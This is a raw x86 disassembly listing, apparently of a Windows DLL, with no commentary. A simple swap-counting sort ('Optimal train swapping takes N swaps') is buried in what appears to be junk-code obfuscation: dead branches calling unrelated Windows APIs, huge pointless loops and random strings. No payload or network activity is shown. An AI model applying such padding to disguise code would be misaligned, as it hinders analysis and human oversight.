lea ecx, [ebp - 0x708]
call fcn.10001ffb
cmp dword [eax], 3
jg 0x1003cb1f
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x1003cb0b
push 0x9a7
push 0
push 0x25a8
push 0x1b4f
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [ebp - 0x94]
cmp dword [ebp + eax*4 - 0x77c], 0
je 0x1003cb1d
jmp 0x1003cb1f
jmp 0x1003caac
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x1003cb47
push 0x693
push 0
push 0
push 0xa8b
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x708]
call fcn.10001fdf
jmp 0x1003ca40
jmp 0x1003c9e4
jmp 0x1003c983
mov dword [ebp - 0x520], 0x7175
mov dword [ebp - 0x6d8], str.yxy_hwd_nvmpzcweu
cmp dword [ebp - 0x520], 0x72e1
jle 0x1003cc5f
and dword [ebp - 0x234], 0
jmp 0x1003cb9f
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x417a
jge 0x1003cc5f
and dword [ebp - 0x194], 0
jmp 0x1003cbc5
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x5d0c
jge 0x1003cc5a
and dword [ebp - 0x264], 0
jmp 0x1003cbeb
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x2cc5
jge 0x1003cc55
mov eax, dword [ebp - 0x234]
imul eax, dword [ebp - 0x194]
sub eax, dword [ebp - 0x264]
cdq
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], edx
push dword [ebp - 0x624]
push dword [ebp - 0x628]
lea ecx, [ebp - 0x9cc]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x6c0], eax
mov ecx, dword [ebp - 0x6c0]
call fcn.10001e4d
push eax
call fcn.1004b116
pop ecx
lea ecx, [ebp - 0x9cc]
call fcn.10001e43
jmp 0x1003cbde
jmp 0x1003cbb8
jmp 0x1003cb92
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
mov dword [ebp - 0x8f4], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x77c]
mov dword [ebp - 0x85c], eax
imul eax, dword [ebp - 0x6c8], 0
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x8e0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x77c]
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x6d0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14c], 0x9f89
jle 0x1003cce7
mov dword [ebp - 0x50c], 1
jmp 0x1003ccee
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x2a4], eax
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x14c]
imul esi, dword [ebp - 0x2a4]
push 0
lea ecx, [ebp - 0x788]
call fcn.10001ffb
cmp esi, dword [eax]
jge 0x1003cd2b
mov dword [ebp - 0x384], 1
jmp 0x1003cd32
and dword [ebp - 0x384], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x384]
sub ecx, 0xf470
cmp ecx, dword [ebp + eax - 0x14c]
jl 0x1003cd59
mov dword [ebp - 0x48c], 1
jmp 0x1003cd60
and dword [ebp - 0x48c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x77c]
add eax, dword [ebp - 0x48c]
jne 0x1003cd7e
cmp dword [ebp - 0x2a4], 0
je 0x1003cd9c
push 0
lea ecx, [ebp - 0x788]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003cd9c
mov dword [ebp - 0x38c], 1
jmp 0x1003cda3
and dword [ebp - 0x38c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x38c]
mov dword [ebp + eax - 0x14c], ecx
mov byte [ebp - 4], 7
cmp dword [ebp - 0x520], 0x7128
jge 0x1003cdd2
push dword [ebp - 0x6d8]
call fcn.1004b116
pop ecx
jmp 0x1003cdee
mov dword [ebp - 4], 5
jmp 0x1003cdfe
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x788]
call fcn.10001fdf
jmp 0x1003c2a9
push 1
lea ecx, [ebp - 0x794]
call fcn.10001f82
mov dword [ebp - 4], 9
mov dword [ebp - 0x760], 3
mov dword [ebp - 0x70], 0
jmp 0x1003ce40
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1003ce53
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x78], 0xfffffffb
jmp 0x1003ce39
mov dword [ebp - 0x70], 0
jmp 0x1003ce63
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1003ce7f
push dword [ebp - 0x70]
lea ecx, [ebp - 0x794]
call fcn.10001ffb
mov dword [eax], 1
jmp 0x1003ce5c
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x1003cea0
push 0
push 0x31d
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x78], 0
jmp 0x1003cec5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x78], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x78], 0xffffffe8
je 0x1003d130
mov dword [ebp - 0xe4], 0xcfe04822
mov dword [ebp - 0x19c], 0
jmp 0x1003cef9
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 4
jge 0x1003cf15
mov eax, dword [ebp - 0x19c]
mov dword [ebp + eax*4 - 0x934], 0xfff8
jmp 0x1003ceec
mov dword [ebp - 0xe4], 0
jmp 0x1003cf2e
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 3
jg 0x1003d12b
mov dword [ebp - 0x1a4], 9
mov dword [ebp - 0x6e8], 0x223dec99
mov dword [ebp - 0x23c], 0
jmp 0x1003cf68
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x1003cf84
mov eax, dword [ebp - 0x23c]
mov dword [ebp + eax*4 - 0x634], 8
jmp 0x1003cf5b
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x8fc], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x934], 0
je 0x1003d061
mov eax, 0xd816f93b
test eax, eax
je 0x1003cfc2
cmp dword [ebp - 0x1a4], 0
je 0x1003cfc2
mov dword [ebp - 0x6e0], 1
jmp 0x1003cfc9
and dword [ebp - 0x6e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
mov dword [ebp - 0x86c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x78]
mov dword [ebp - 0x394], eax
push 0
lea ecx, [ebp - 0x794]
call fcn.10001ffb
mov ecx, dword [ebp - 0x394]
mov dword [eax], ecx
cmp dword [ebp - 0x394], 0xd762
jge 0x1003d016
mov dword [ebp - 0x494], 1
jmp 0x1003d01d
and dword [ebp - 0x494], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x494]
sub ecx, dword [ebp - 0xe4]
cmp ecx, dword [ebp + eax - 0x934]
jg 0x1003d044
mov dword [ebp - 0x39c], 1
jmp 0x1003d04b
and dword [ebp - 0x39c], 0
imul eax, dword [ebp - 0x39c], 0x8fec
add eax, dword [ebp - 0x1a4]
add eax, dword [ebp - 0x6e8]
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x8e8], eax
or eax, 0xffffffff
jne 0x1003d084
push 0
lea ecx, [ebp - 0x794]
call fcn.10001ffb
cmp dword [eax], 0
je 0x1003d0a0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x634], 0
je 0x1003d0a0
mov dword [ebp - 0x514], 1
jmp 0x1003d0a7
and dword [ebp - 0x514], 0
cmp dword [ebp - 0x514], 0xfffffffd
ja 0x1003d0bc
mov dword [ebp - 0x3a4], 1
jmp 0x1003d0c3
and dword [ebp - 0x3a4], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x3a4]
sub edx, dword [ebp + ecx - 0x78]
cmp edx, dword [ebp + eax - 0x78]
jg 0x1003d0eb
mov dword [ebp - 0x2cc], 1
jmp 0x1003d0f2
and dword [ebp - 0x2cc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2cc]
mov dword [ebp + eax - 0x634], ecx
mov eax, dword [ebp - 0x2cc]
mov dword [ebp - 0x760], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x634], 0
je 0x1003d126
jmp 0x1003cf21
jmp 0x1003cf21
jmp 0x1003ceb0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x794]
call fcn.10001fdf
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x27c]
movzx eax, byte [ebp + eax - 0x146]
movzx eax, word [ebp + eax*2 - 0x840]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x143]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x27c]
movzx eax, byte [ebp + eax - 0x146]
movzx eax, word [ebp + eax*2 - 0x840]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x143]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x144]
mov word [ebp + eax*2 - 0x840], dx
and dword [ebp - 0x27c], 0
jmp 0x1003c2a9
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x840], cx
mov dword [ebp - 0x874], 0x4039
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x1003d1e0
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x1003d202
push 0x1f2e
push 0x175
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0x9b4]
call fcn.100081e2
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x724], eax
mov dword [ebp - 4], 0xa
push dword [ebp - 0x724]
call fcn.10033faf
pop ecx
mov dword [ebp - 0x440], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9b4]
call fcn.1000822c
and dword [ebp - 0x24c], 0
jmp 0x1003d264
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0xd
jae 0x1003d61b
mov dword [ebp - 0x54], 0x110c93b4
mov dword [ebp - 0x9c], 0xeda8ed40
mov dword [ebp - 0x6e4], 0xffffffff
mov dword [ebp - 0x54], 0xffffffef
jmp 0x1003d29c
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0xc
je 0x1003d54b
mov dword [ebp - 0x3ac], 0xcb8
mov dword [ebp - 0x1ac], 0
jmp 0x1003d2c9
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 2
jge 0x1003d2e5
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x888], 0x2c87a752
jmp 0x1003d2bc
mov dword [ebp - 0x3bc], 0x5bff
mov dword [ebp - 0x604], str.bdwzxvv_zlb_rie_jqm_pfeva_mokhnaocm_stel
cmp dword [ebp - 0x3bc], 0x5d29
jle 0x1003d430
push 0x1d02
push 0x252c
push 0x11ae
call dword [sym.imp.USER32.dll_EnableScrollBar]
and dword [ebp - 0x26c], 0
jmp 0x1003d334
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x1c8d
jge 0x1003d430
and dword [ebp - 0x1bc], 0
jmp 0x1003d35a
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x650d
jge 0x1003d42b
and dword [ebp - 0x244], 0
jmp 0x1003d380
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x2be1
jge 0x1003d426
and dword [ebp - 0x1b4], 0
jmp 0x1003d3a6
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x4917
jge 0x1003d421
mov eax, dword [ebp - 0x244]
imul eax, dword [ebp - 0x1b4]
mov edx, dword [ebp - 0x26c]
mov ecx, dword [ebp - 0x1bc]
sar edx, cl
mov ecx, eax
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], edx
push dword [ebp - 0x63c]
push dword [ebp - 0x640]
lea ecx, [ebp - 0x984]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x728]
call fcn.10001e4d
push eax
call fcn.1004b116
pop ecx
lea ecx, [ebp - 0x984]
call fcn.10001e43
jmp 0x1003d399
jmp 0x1003d373
jmp 0x1003d34d
jmp 0x1003d327
cmp dword [ebp - 0x3ac], 1
jne 0x1003d4ee
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x904], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x888], 0xc15d0d65
jbe 0x1003d465
mov dword [ebp - 0x49c], 1
jmp 0x1003d46c
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x49c], eax
jge 0x1003d483
mov dword [ebp - 0x524], 1
jmp 0x1003d48a
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x524], eax
jne 0x1003d4a4
mov dword [ebp - 0x3b4], 1
jmp 0x1003d4ab
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x3b4], eax
jg 0x1003d4c2
mov dword [ebp - 0x720], 1
jmp 0x1003d4c9
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x87c], eax
push 9
pop eax
test eax, eax
je 0x1003d4ee
mov eax, 0x5927
test eax, eax
je 0x1003d4ee
mov dword [ebp - 0x4a4], 1
jmp 0x1003d4f5
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x3bc], 0x5a68
jge 0x1003d520
push dword [ebp - 0x604]
call fcn.1004b116
pop ecx
jmp 0x1003d53c
or dword [ebp - 4], 0xffffffff
jmp 0x1003d546
jmp 0x1003d295
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x9c]
je 0x1003d565
mov dword [ebp - 0x51c], 1
jmp 0x1003d56c
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x8f0], eax
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x51c], eax
jne 0x1003d592
mov dword [ebp - 0x3c4], 1
jmp 0x1003d599
and dword [ebp - 0x3c4], 0
cmp dword [ebp - 0x3c4], 0xfffffff6
jne 0x1003d5ae
mov dword [ebp - 0x4ac], 1
jmp 0x1003d5b5
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x6e4]
cmp dword [ebp - 0x4ac], eax
jle 0x1003d5cf
mov dword [ebp - 0x3cc], 1
jmp 0x1003d5d6
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x3cc], eax
jge 0x1003d5f0
mov dword [ebp - 0x52c], 1
jmp 0x1003d5f7
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x52c]
mov dword [ebp - 0x9c], eax
xor eax, eax
mov ecx, dword [ebp - 0x24c]
mov word [ebp + ecx*2 - 0x840], ax
jmp 0x1003d257
mov dword [ebp - 0xcc], 0xe19d
mov dword [ebp - 0xd8], 0x46df37d4
push 1
lea ecx, [ebp - 0x7dc]
call fcn.10001f82
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x3d4], 0x550d
mov dword [ebp - 0x730], str.jrtvf_xsg_kuvhfwpds_jstqv_gtavsilcg_ppmyl_tlywmqp_qwcw
cmp dword [ebp - 0x3d4], 0x554f
jle 0x1003d73f
and dword [ebp - 0x1cc], 0
jmp 0x1003d67d
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x7f7f
jge 0x1003d73f
and dword [ebp - 0x1c4], 0
jmp 0x1003d6a3
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x1b26
jge 0x1003d73a
and dword [ebp - 0x28c], 0
jmp 0x1003d6c9
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x804c
jge 0x1003d735
mov eax, dword [ebp - 0x1c4]
cdq
idiv dword [ebp - 0x28c]
or edx, dword [ebp - 0x1cc]
mov eax, edx
cdq
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x648], edx
push dword [ebp - 0x648]
push dword [ebp - 0x64c]
lea ecx, [ebp - 0x99c]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x60c], eax
mov ecx, dword [ebp - 0x60c]
call fcn.10001e4d
push eax
call fcn.1004b116
pop ecx
lea ecx, [ebp - 0x99c]
call fcn.10001e43
jmp 0x1003d6bc
jmp 0x1003d696
jmp 0x1003d670
mov dword [ebp - 0x4b4], 0x345fe46c
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x3d4], 0x51c1
jge 0x1003d765
push dword [ebp - 0x730]
call fcn.1004b116
pop ecx
jmp 0x1003d781
mov dword [ebp - 4], 0xd
jmp 0x1003d791
mov dword [ebp - 0x254], 0
jmp 0x1003d7aa
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x1003d7cc
push dword [ebp - 0x254]
lea ecx, [ebp - 0x7dc]
call fcn.10001ffb
mov dword [eax], 4
jmp 0x1003d79d
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xd8], eax
mov esi, dword [ebp - 0xcc]
add esi, dword [ebp - 0xd8]
push 0
lea ecx, [ebp - 0x7dc]
call fcn.10001ffb
mov dword [eax], esi
mov dword [ebp - 0xcc], 0
jmp 0x1003d80c
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x25
je 0x1003d9d8
push 3
lea ecx, [ebp - 0x818]
call fcn.10001f82
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x1d4], 0
jmp 0x1003d843
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 3
jge 0x1003d865
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0x818]
call fcn.10001ffb
mov dword [eax], 0xe9646b8d
jmp 0x1003d836
mov dword [ebp - 0x3dc], 0x6e68
mov dword [ebp - 0x614], str.zhzzja_cmeeyv_rghfi_dwc_jgbbmfj_mpol_lfrmom_owahz
cmp dword [ebp - 0x3dc], 0x721d
jle 0x1003d8fc
and dword [ebp - 0x21c], 0
jmp 0x1003d89b
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x2e0d
jge 0x1003d8fc
and dword [ebp - 0x1dc], 0
jmp 0x1003d8bd
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x7598
jge 0x1003d8fa
mov eax, dword [ebp - 0x21c]
and eax, dword [ebp - 0x1dc]
cdq
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], edx
push dword [ebp - 0x654]
push dword [ebp - 0x658]
mov ecx, 0x10081838
call fcn.10001e6d
jmp 0x1003d8b0
jmp 0x1003d88e
mov dword [ebp - 0xd8], 0
jmp 0x1003d915
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x1003d978
mov dword [ebp - 0x220], 0xfffffff6
mov dword [ebp - 0x890], 2
mov dword [ebp - 0x220], 0
jmp 0x1003d94b
mov eax, dword [ebp - 0x220]
dec eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jl 0x1003d963
mov eax, dword [ebp - 0x4b4]
dec eax
mov dword [ebp - 0x4b4], eax
jmp 0x1003d93e
push 2
lea ecx, [ebp - 0x818]
call fcn.10001ffb
mov dword [eax], 0xffffec02
jmp 0x1003d908
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x3dc], 0x6ac8
jge 0x1003d998
mov edx, dword [ebp - 0x614]
mov ecx, 0x10081838
call fcn.100038af
jmp 0x1003d9b4
mov dword [ebp - 4], 0x10
jmp 0x1003d9c4
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x818]
call fcn.10001fdf
jmp 0x1003d7ff
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7dc]
call fcn.10001fdf
cmp dword [ebp - 0x440], 0
je 0x1003fa2d
mov dword [ebp - 0x6ec], 0x192e
cmp dword [ebp - 0x6ec], 0x438
jge 0x1003dbdc
lea eax, [ebp - 0x2ac]
push eax
mov ecx, 0x10081958
call fcn.10021f06
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x2ac]
dec eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x620], 0
je 0x1003dbdc
lea eax, [ebp - 0x228]
push eax
mov ecx, 0x10081958
call fcn.10021f06
mov ecx, 0x10146c3c
call fcn.1002fbdd
push dword [ebp - 0x228]
mov ecx, 0x10146c3c
call fcn.1002fb84
and dword [ebp - 0x1e4], 0
jmp 0x1003da86
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e4]
cmp eax, dword [ebp - 0x228]
jge 0x1003dab1
push dword [ebp - 0x1e4]
mov ecx, 0x10146c3c
call fcn.10001ffb
push eax
mov ecx, 0x10081958
call fcn.10021f06
jmp 0x1003da79
and dword [ebp - 0x2c4], 0
and dword [ebp - 0xa4], 0
jmp 0x1003dace
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x228]
jge 0x1003dba3
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xd0], eax
jmp 0x1003dafc
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
cmp eax, dword [ebp - 0x228]
jge 0x1003db9e
push dword [ebp - 0xd0]
mov ecx, 0x10146c3c
call fcn.10001ffb
mov esi, eax
push dword [ebp - 0xa4]
mov ecx, 0x10146c3c
call fcn.10001ffb
mov eax, dword [eax]
cmp eax, dword [esi]
jle 0x1003db99
push dword [ebp - 0xa4]
mov ecx, 0x10146c3c
call fcn.10001ffb
mov eax, dword [eax]
mov dword [ebp - 0x738], eax
push dword [ebp - 0xa4]
mov ecx, 0x10146c3c
call fcn.10001ffb
mov esi, eax
push dword [ebp - 0xd0]
mov ecx, 0x10146c3c
call fcn.10001ffb
mov eax, dword [eax]
mov dword [esi], eax
push dword [ebp - 0xd0]
mov ecx, 0x10146c3c
call fcn.10001ffb
mov ecx, dword [ebp - 0x738]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
jmp 0x1003daef
jmp 0x1003dac1
push fcn.100244a0
push dword [ebp - 0x2c4]
mov edx, str.Optimal_train_swapping_takes
mov ecx, 0x10081838
call fcn.100038af
mov ecx, eax
call fcn.100220d1
mov edx, str._swaps.
mov ecx, eax
call fcn.100038af
mov ecx, eax
call fcn.100220c5
jmp 0x1003da1f
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0x80], 0
jmp 0x1003dbf3
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x18
jle 0x1003dc15
mov byte [ebp - 0xb8], 0
movzx eax, byte [ebp - 0xb8]
test eax, eax
je 0x1003dc13
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
jmp 0x1003dbec
mov dword [ebp - 0x80], 0xd
jmp 0x1003dc25
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xf
jle 0x1003dcfb
push 3
lea ecx, [ebp - 0x7f4]
call fcn.10001f82
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x1ec], 0
jmp 0x1003dc63
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 3
jge 0x1003dc82
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0x7f4]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003dc56
mov dword [ebp - 0x64], 2
jmp 0x1003dc92
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x1003dcbb
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x1003dcb9
push 0
push 1
push 0x531
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x1003dc8b
mov dword [ebp - 0x64], 0
jmp 0x1003dccb
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x1003dce7
push dword [ebp - 0x64]
lea ecx, [ebp - 0x7f4]
call fcn.10001ffb
mov dword [eax], 0xfffffffd
jmp 0x1003dcc4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7f4]
call fcn.10001fdf
jmp 0x1003dc1e
mov byte [ebp - 0x128], 0xc
mov byte [ebp - 0x127], 0xfd
mov byte [ebp - 0x126], 6
mov byte [ebp - 0x125], 0x10
mov byte [ebp - 0x124], 8
mov byte [ebp - 0x123], 7
mov byte [ebp - 0x122], 1
mov byte [ebp - 0x121], 1
mov byte [ebp - 0x120], 3
mov byte [ebp - 0x11f], 0x35
mov byte [ebp - 0x11e], 0
mov byte [ebp - 0x11d], 0x17
mov byte [ebp - 0x11c], 2
mov byte [ebp - 0x11b], 0x33
mov byte [ebp - 0x11a], 0xb
mov byte [ebp - 0x119], 0x11
mov byte [ebp - 0x118], 7
mov byte [ebp - 0x117], 0x24
mov byte [ebp - 0x116], 0xd
mov byte [ebp - 0x115], 0x32
mov byte [ebp - 0x114], 9
mov byte [ebp - 0x113], 0x17
mov byte [ebp - 0x112], 5
mov byte [ebp - 0x111], 0xb
mov byte [ebp - 0x110], 0xa
mov byte [ebp - 0x10f], 0x1d
mov byte [ebp - 0x10e], 1
mov byte [ebp - 0x10d], 0xd
mov byte [ebp - 0x10c], 4
mov byte [ebp - 0x10b], 0
mov dword [ebp - 0xec], 0
push 4
lea ecx, [ebp - 0x7a0]
call fcn.10001f82
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x740], 1
mov dword [ebp - 0x230], 0
jmp 0x1003de0e
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 4
jge 0x1003de30
push dword [ebp - 0x230]
lea ecx, [ebp - 0x7a0]
call fcn.10001ffb
mov dword [eax], 0xf9b2
jmp 0x1003de01
mov dword [ebp - 0xec], 0
jmp 0x1003de49
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 8
jne 0x1003e1f9
push 3
lea ecx, [ebp - 0x5b4]
call fcn.10001f82
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x38], 0x545ee28f
mov dword [ebp - 0x1f4], 0
jmp 0x1003de87
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 3
jge 0x1003dea6
push dword [ebp - 0x1f4]
lea ecx, [ebp - 0x5b4]
call fcn.10001ffb
and dword [eax], 0
jmp 0x1003de7a
push 0
lea ecx, [ebp - 0x5b4]
call fcn.10001ffb
mov dword [eax], 3
jmp 0x1003dedf
push 0
lea ecx, [ebp - 0x5b4]
call fcn.10001ffb
mov dword [ebp - 0x534], eax
mov eax, dword [ebp - 0x534]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x534]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x5b4]
